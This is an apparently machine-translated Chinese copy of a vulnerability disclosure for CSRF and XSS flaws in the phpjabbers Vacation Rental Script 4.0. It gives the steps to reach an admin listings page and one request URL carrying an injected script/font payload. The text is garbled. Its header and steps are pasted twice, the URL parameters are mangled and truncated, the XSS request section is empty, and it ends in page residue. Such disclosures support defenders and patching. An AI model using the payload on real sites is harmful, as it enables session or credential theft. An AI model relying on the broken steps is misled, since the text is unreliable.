＃利用标题: phpjabbers度假租赁脚本4.0 -CSRF
＃日期: 05/08/2023
＃利用作者: HASAN ALI YILDIR
＃供应商homepage: https://www.phpjabbers.com/
＃软件link: https://www.phpjabbers.com/vacation-rental-script/
＃版本: 4.0
＃测试在: Windows 10 Pro
＃＃ 描述
攻击者可以将电子邮件或即时消息中包含恶意URL的链接发送给受害者
可以执行各种各样的动作，例如窃取受害者的会议令牌或登录凭据
技术细节/POC
================================
1。登录帐户
2。转到属性页面（https://website/index.php？控制器=pjadminlistingsaction=pjactionupdate）
3。编辑任何属性（https://website/index.php？控制器=pjadminlistingsaction=pjactionupdateid=21）
[1]跨站点伪造
请求:
https://website/index.php？控制器=pjadm...dateid=21tab='scriptfont％20color='red'csrf％20 -TEST/FONT
[2]跨站点脚本（XSS）
请求:
＃日期: 05/08/2023
＃利用作者: HASAN ALI YILDIR
＃供应商homepage: https://www.phpjabbers.com/
＃软件link: https://www.phpjabbers.com/vacation-rental-script/
＃版本: 4.0
＃测试在: Windows 10 Pro
＃＃ 描述
攻击者可以将电子邮件或即时消息中包含恶意URL的链接发送给受害者
可以执行各种各样的动作，例如窃取受害者的会议令牌或登录凭据
技术细节/POC
================================
1。登录帐户
2。转到属性页面（https://website/index.php？控制器=pjadminlistingsaction=pjactionupdate）
3。编辑任何属性（https://website/index.php？控制器=pjadminlistingsaction=pjactionupdateid=21）
[1]跨站点伪造
请求:
https://website/index.php？控制器=pjadm...dateid=21tab='scriptfont％20color='red'csrf％20 -TEST/FONT
[2]跨站点脚本（XSS）
请求:
正在加载...
website